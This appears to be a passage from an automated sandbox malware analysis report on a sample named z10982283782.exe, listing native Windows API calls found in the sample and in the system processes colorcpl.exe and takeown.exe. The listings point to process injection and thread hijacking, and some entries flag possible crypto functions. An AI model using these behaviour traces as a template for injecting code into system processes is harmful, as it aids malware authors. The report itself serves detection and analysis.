Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AADD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose, 0_2_02AADD70
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA7A2A NtAllocateVirtualMemory, 0_2_02AA7A2A
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AADBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile, 0_2_02AADBB0
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AADC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose, 0_2_02AADC8C
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AADC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile, 0_2_02AADC04
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA8D6E GetThreadContext,SetThreadContext,NtResumeThread, 0_2_02AA8D6E
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA8D70 GetThreadContext,SetThreadContext,NtResumeThread, 0_2_02AA8D70
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_0661C3C3 NtClose, 10_2_0661C3C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065FA775 NtMapViewOfSection, 10_2_065FA775
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762B60 NtClose,LdrInitializeThunk, 10_2_22762B60
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762C70 NtFreeVirtualMemory,LdrInitializeThunk, 10_2_22762C70
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762DF0 NtQuerySystemInformation,LdrInitializeThunk, 10_2_22762DF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227635C0 NtCreateMutant,LdrInitializeThunk, 10_2_227635C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22764340 NtSetContextThread, 10_2_22764340
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22764650 NtSuspendThread, 10_2_22764650
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762AF0 NtWriteFile, 10_2_22762AF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762AD0 NtReadFile, 10_2_22762AD0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762AB0 NtWaitForSingleObject, 10_2_22762AB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762BF0 NtAllocateVirtualMemory, 10_2_22762BF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762BE0 NtQueryValueKey, 10_2_22762BE0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762BA0 NtEnumerateValueKey, 10_2_22762BA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762B80 NtQueryInformationFile, 10_2_22762B80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762E30 NtWriteVirtualMemory, 10_2_22762E30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762EE0 NtQueueApcThread, 10_2_22762EE0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762EA0 NtAdjustPrivilegesToken, 10_2_22762EA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762E80 NtReadVirtualMemory, 10_2_22762E80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762F60 NtCreateProcessEx, 10_2_22762F60
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762F30 NtCreateSection, 10_2_22762F30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762FE0 NtCreateFile, 10_2_22762FE0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762FB0 NtResumeThread, 10_2_22762FB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762FA0 NtQuerySection, 10_2_22762FA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762F90 NtProtectVirtualMemory, 10_2_22762F90
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762C60 NtCreateKey, 10_2_22762C60
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762C00 NtQueryInformationProcess, 10_2_22762C00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762CF0 NtOpenProcess, 10_2_22762CF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762CC0 NtQueryVirtualMemory, 10_2_22762CC0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762CA0 NtQueryInformationToken, 10_2_22762CA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762D30 NtUnmapViewOfSection, 10_2_22762D30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762D10 NtMapViewOfSection, 10_2_22762D10
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762D00 NtSetInformationFile, 10_2_22762D00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762DD0 NtDelayExecution, 10_2_22762DD0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762DB0 NtEnumerateKey, 10_2_22762DB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22763010 NtOpenDirectoryObject, 10_2_22763010
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22763090 NtSetValueKey, 10_2_22763090
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227639B0 NtGetContextThread, 10_2_227639B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22763D70 NtOpenThread, 10_2_22763D70
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22763D10 NtOpenProcessToken, 10_2_22763D10
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03094340 NtSetContextThread,LdrInitializeThunk, 13_2_03094340
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03094650 NtSuspendThread,LdrInitializeThunk, 13_2_03094650
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092B60 NtClose,LdrInitializeThunk, 13_2_03092B60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092BA0 NtEnumerateValueKey,LdrInitializeThunk, 13_2_03092BA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092BE0 NtQueryValueKey,LdrInitializeThunk, 13_2_03092BE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 13_2_03092BF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092AD0 NtReadFile,LdrInitializeThunk, 13_2_03092AD0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092AF0 NtWriteFile,LdrInitializeThunk, 13_2_03092AF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092F30 NtCreateSection,LdrInitializeThunk, 13_2_03092F30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092FB0 NtResumeThread,LdrInitializeThunk, 13_2_03092FB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092FE0 NtCreateFile,LdrInitializeThunk, 13_2_03092FE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092E80 NtReadVirtualMemory,LdrInitializeThunk, 13_2_03092E80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092EE0 NtQueueApcThread,LdrInitializeThunk, 13_2_03092EE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092D10 NtMapViewOfSection,LdrInitializeThunk, 13_2_03092D10
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092D30 NtUnmapViewOfSection,LdrInitializeThunk, 13_2_03092D30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092DD0 NtDelayExecution,LdrInitializeThunk, 13_2_03092DD0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092DF0 NtQuerySystemInformation,LdrInitializeThunk, 13_2_03092DF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092C60 NtCreateKey,LdrInitializeThunk, 13_2_03092C60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092C70 NtFreeVirtualMemory,LdrInitializeThunk, 13_2_03092C70
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092CA0 NtQueryInformationToken,LdrInitializeThunk, 13_2_03092CA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030935C0 NtCreateMutant,LdrInitializeThunk, 13_2_030935C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030939B0 NtGetContextThread,LdrInitializeThunk, 13_2_030939B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092B80 NtQueryInformationFile, 13_2_03092B80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092AB0 NtWaitForSingleObject, 13_2_03092AB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092F60 NtCreateProcessEx, 13_2_03092F60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092F90 NtProtectVirtualMemory, 13_2_03092F90
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092FA0 NtQuerySection, 13_2_03092FA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092E30 NtWriteVirtualMemory, 13_2_03092E30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092EA0 NtAdjustPrivilegesToken, 13_2_03092EA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092D00 NtSetInformationFile, 13_2_03092D00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092DB0 NtEnumerateKey, 13_2_03092DB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092C00 NtQueryInformationProcess, 13_2_03092C00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092CC0 NtQueryVirtualMemory, 13_2_03092CC0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03092CF0 NtOpenProcess, 13_2_03092CF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03093010 NtOpenDirectoryObject, 13_2_03093010
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03093090 NtSetValueKey, 13_2_03093090
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03093D10 NtOpenProcessToken, 13_2_03093D10
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03093D70 NtOpenThread, 13_2_03093D70
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00699120 NtCreateFile, 13_2_00699120
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00699290 NtReadFile, 13_2_00699290
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00699390 NtDeleteFile, 13_2_00699390
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00699440 NtClose, 13_2_00699440
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_006995A0 NtAllocateVirtualMemory, 13_2_006995A0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00CEF9CF NtUnmapViewOfSection, 13_2_00CEF9CF
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AB8128 CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess, 0_2_02AB8128
Detected potential crypto function
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A920C4 0_2_02A920C4
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_06608353 10_2_06608353
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065FFE03 10_2_065FFE03
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065FDE83 10_2_065FDE83
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F24D0 10_2_065F24D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_0660652F 10_2_0660652F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_06606533 10_2_06606533
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F2D00 10_2_065F2D00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065FFBDB 10_2_065FFBDB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065FFBE3 10_2_065FFBE3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F11D0 10_2_065F11D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F11CD 10_2_065F11CD
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_0661E9C3 10_2_0661E9C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F21A0 10_2_065F21A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B02C0 10_2_227B02C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EA352 10_2_227EA352
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E3F0 10_2_2273E3F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F03E6 10_2_227F03E6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B8158 10_2_227B8158
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CA118 10_2_227CA118
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720100 10_2_22720100
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E81CC 10_2_227E81CC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F01AA 10_2_227F01AA
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E41A2 10_2_227E41A2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274C6E0 10_2_2274C6E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22754750 10_2_22754750
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272C7C0 10_2_2272C7C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E2446 10_2_227E2446
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D4420 10_2_227D4420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DE4F6 10_2_227DE4F6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F0591 10_2_227F0591
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EAB40 10_2_227EAB40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E6BD7 10_2_227E6BD7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273A840 10_2_2273A840
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22732840 10_2_22732840
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E8F0 10_2_2275E8F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227168B8 10_2_227168B8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22746962 10_2_22746962
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227329A0 10_2_227329A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227FA9A6 10_2_227FA9A6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730E59 10_2_22730E59
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EEE26 10_2_227EEE26
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EEEDB 10_2_227EEEDB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742E90 10_2_22742E90
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227ECE93 10_2_227ECE93
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A4F40 10_2_227A4F40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22750F30 10_2_22750F30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D2F30 10_2_227D2F30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22772F28 10_2_22772F28
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273CFE0 10_2_2273CFE0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22722FC8 10_2_22722FC8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AEFA0 10_2_227AEFA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730C00 10_2_22730C00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720CF2 10_2_22720CF2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0CB5 10_2_227D0CB5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CCD1F 10_2_227CCD1F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273AD00 10_2_2273AD00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272ADE0 10_2_2272ADE0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22748DBF 10_2_22748DBF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D12ED 10_2_227D12ED
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274B2C0 10_2_2274B2C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227352A0 10_2_227352A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271D34C 10_2_2271D34C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E132D 10_2_227E132D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2277739A 10_2_2277739A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E70E9 10_2_227E70E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EF0E0 10_2_227EF0E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DF0CC 10_2_227DF0CC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227370C0 10_2_227370C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271F172 10_2_2271F172
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227FB16B 10_2_227FB16B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276516C 10_2_2276516C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273B1B0 10_2_2273B1B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22775630 10_2_22775630
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E16CC 10_2_227E16CC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EF7B0 10_2_227EF7B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22721460 10_2_22721460
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EF43F 10_2_227EF43F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E7571 10_2_227E7571
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F95C3 10_2_227F95C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CD5B0 10_2_227CD5B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A3A6C 10_2_227A3A6C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EFA49 10_2_227EFA49
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E7A46 10_2_227E7A46
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DDAC6 10_2_227DDAC6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CDAAC 10_2_227CDAAC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22775AA0 10_2_22775AA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D1AA3 10_2_227D1AA3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EFB76 10_2_227EFB76
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A5BF0 10_2_227A5BF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276DBF9 10_2_2276DBF9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274FB80 10_2_2274FB80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279D800 10_2_2279D800
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227338E0 10_2_227338E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22739950 10_2_22739950
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274B950 10_2_2274B950
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C5910 10_2_227C5910
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22739EB0 10_2_22739EB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EFF09 10_2_227EFF09
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_226F3FD5 10_2_226F3FD5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_226F3FD2 10_2_226F3FD2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EFFB1 10_2_227EFFB1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22731F92 10_2_22731F92
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A9C32 10_2_227A9C32
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EFCF2 10_2_227EFCF2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E7D73 10_2_227E7D73
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E1D5A 10_2_227E1D5A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22733D40 10_2_22733D40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274FDC0 10_2_2274FDC0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311A352 13_2_0311A352
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031203E6 13_2_031203E6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0306E3F0 13_2_0306E3F0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03100274 13_2_03100274
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030E02C0 13_2_030E02C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03050100 13_2_03050100
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030FA118 13_2_030FA118
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030E8158 13_2_030E8158
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031141A2 13_2_031141A2
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031201AA 13_2_031201AA
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031181CC 13_2_031181CC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030F2000 13_2_030F2000
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03084750 13_2_03084750
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03060770 13_2_03060770
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0305C7C0 13_2_0305C7C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0307C6E0 13_2_0307C6E0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03060535 13_2_03060535
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03120591 13_2_03120591
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03104420 13_2_03104420
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03112446 13_2_03112446
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0310E4F6 13_2_0310E4F6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311AB40 13_2_0311AB40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03116BD7 13_2_03116BD7
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0305EA80 13_2_0305EA80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03076962 13_2_03076962
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030629A0 13_2_030629A0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0312A9A6 13_2_0312A9A6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03062840 13_2_03062840
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0306A840 13_2_0306A840
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030468B8 13_2_030468B8
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0308E8F0 13_2_0308E8F0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03102F30 13_2_03102F30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030A2F28 13_2_030A2F28
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03080F30 13_2_03080F30
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030D4F40 13_2_030D4F40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030DEFA0 13_2_030DEFA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03052FC8 13_2_03052FC8
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0306CFE0 13_2_0306CFE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311EE26 13_2_0311EE26
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03060E59 13_2_03060E59
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311CE93 13_2_0311CE93
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03072E90 13_2_03072E90
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311EEDB 13_2_0311EEDB
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0306AD00 13_2_0306AD00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030FCD1F 13_2_030FCD1F
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03078DBF 13_2_03078DBF
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0305ADE0 13_2_0305ADE0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03060C00 13_2_03060C00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03100CB5 13_2_03100CB5
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03050CF2 13_2_03050CF2
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311132D 13_2_0311132D
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0304D34C 13_2_0304D34C
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030A739A 13_2_030A739A
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030652A0 13_2_030652A0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0307B2C0 13_2_0307B2C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031012ED 13_2_031012ED
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0309516C 13_2_0309516C
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0304F172 13_2_0304F172
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0312B16B 13_2_0312B16B
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0306B1B0 13_2_0306B1B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030670C0 13_2_030670C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0310F0CC 13_2_0310F0CC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311F0E0 13_2_0311F0E0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031170E9 13_2_031170E9
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311F7B0 13_2_0311F7B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030A5630 13_2_030A5630
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031116CC 13_2_031116CC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03117571 13_2_03117571
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030FD5B0 13_2_030FD5B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_031295C3 13_2_031295C3
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311F43F 13_2_0311F43F
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03051460 13_2_03051460
